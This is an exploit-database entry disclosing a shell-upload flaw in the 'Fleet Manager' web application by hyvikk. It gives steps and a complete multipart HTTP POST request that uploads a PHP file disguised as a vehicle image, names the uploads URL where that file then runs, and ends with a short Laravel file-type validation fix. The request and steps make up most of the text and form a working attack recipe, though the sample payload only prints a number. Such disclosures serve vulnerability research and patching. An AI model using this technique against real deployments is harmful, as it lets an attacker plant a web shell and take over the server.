exploit-db-mirror/exploits/php/webapps/46776.txt

========================================================================================                  
| Fleet Manager hyvikk Shell Upload
  # Date: 29-04-2019
  # Title    : Fleet Manager by hyvikk All versions                  
| # Author   : saxgy1331  - Kaieteur-Falls-1331                                                                           
| # Vendor Homepage:  https://codecanyon.net/item/fleet-manager/20051839                     
| # Tested on: Windows, Linux 
| # Bug      : Shell upload                                                                     
======================  =================================
 # Exploit  : 
 
You can upload a php shell file as a vehicle image

http://localhost/delivery/public/vehicles/create   

After uploading the image you the shell will be saved in the /uploads/ folder with the id code 
go  http://localhost/delivery/public/vehicles/ right click on the recent "php shell photo" you have uploaded Boom!

POST /good/vehicles HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/good/vehicles/create
Content-Type: multipart/form-data; boundary=---------------------------191691572411478
Content-Length: 1926
Connection: keep-alive
Cookie: PHPSESSID= ; XSRF-TOKEN= %3D%3D; laravel_session= 
Upgrade-Insecure-Requests: 1

 -----------------------------191691572411478
 Content-Disposition: form-data; name="_token"

 9gGkjP2AeqfijIpC6hH7TSxGDS7RAoily8pEdM9R
 -----------------------------191691572411478
 Content-Disposition: form-data; name="user_id"

 1
 -----------------------------191691572411478
 Content-Disposition: form-data; name="make"

 test1234
 -----------------------------191691572411478
 Content-Disposition: form-data; name="model"

 test12345
 -----------------------------191691572411478
 Content-Disposition: form-data; name="type"

 Hatchback
 -----------------------------191691572411478
 Content-Disposition: form-data; name="year"

 5
 -----------------------------191691572411478
 Content-Disposition: form-data; name="int_mileage"

 3
 -----------------------------191691572411478
 Content-Disposition: form-data; name="vehicle_image"; filename="1331.php"
 Content-Type: application/octet-stream

 <?php
 echo "1331";
 ?>
 -----------------------------191691572411478
 Content-Disposition: form-data; name="reg_exp_date"

 2019-04-24
 -----------------------------191691572411478
 Content-Disposition: form-data; name="in_service"

 1
 -----------------------------191691572411478
 Content-Disposition: form-data; name="engine_type"

 Petrol
 -----------------------------191691572411478
 Content-Disposition: form-data; name="horse_power"

 1
 -----------------------------191691572411478
 Content-Disposition: form-data; name="color"

 green
 -----------------------------191691572411478
 Content-Disposition: form-data; name="vin"

 1
 -----------------------------191691572411478
 Content-Disposition: form-data; name="license_plate"

 1331
 -----------------------------191691572411478
 Content-Disposition: form-data; name="lic_exp_date"

 2019-04-23
 -----------------------------191691572411478
 Content-Disposition: form-data; name="group_id"

 1
 -----------------------------191691572411478--
 
 
Example  
http://localhost/delivery/public/uploads/122030d1-ba55-4bfe-9533-44955d47b433.php  

Fix

public function uploadPhoto(Request $request)
{
    $this->validate($request, [
        'photo' => 'mimes:jpeg,png,bmp,tiff |max:4096',
    ],
        $messages = [
            'required' => 'The :attribute field is required.',
            'mimes' => 'Only jpeg, png, bmp,tiff are allowed.'
        ]
    );
 // Now save your file to the storage and file details at database.
}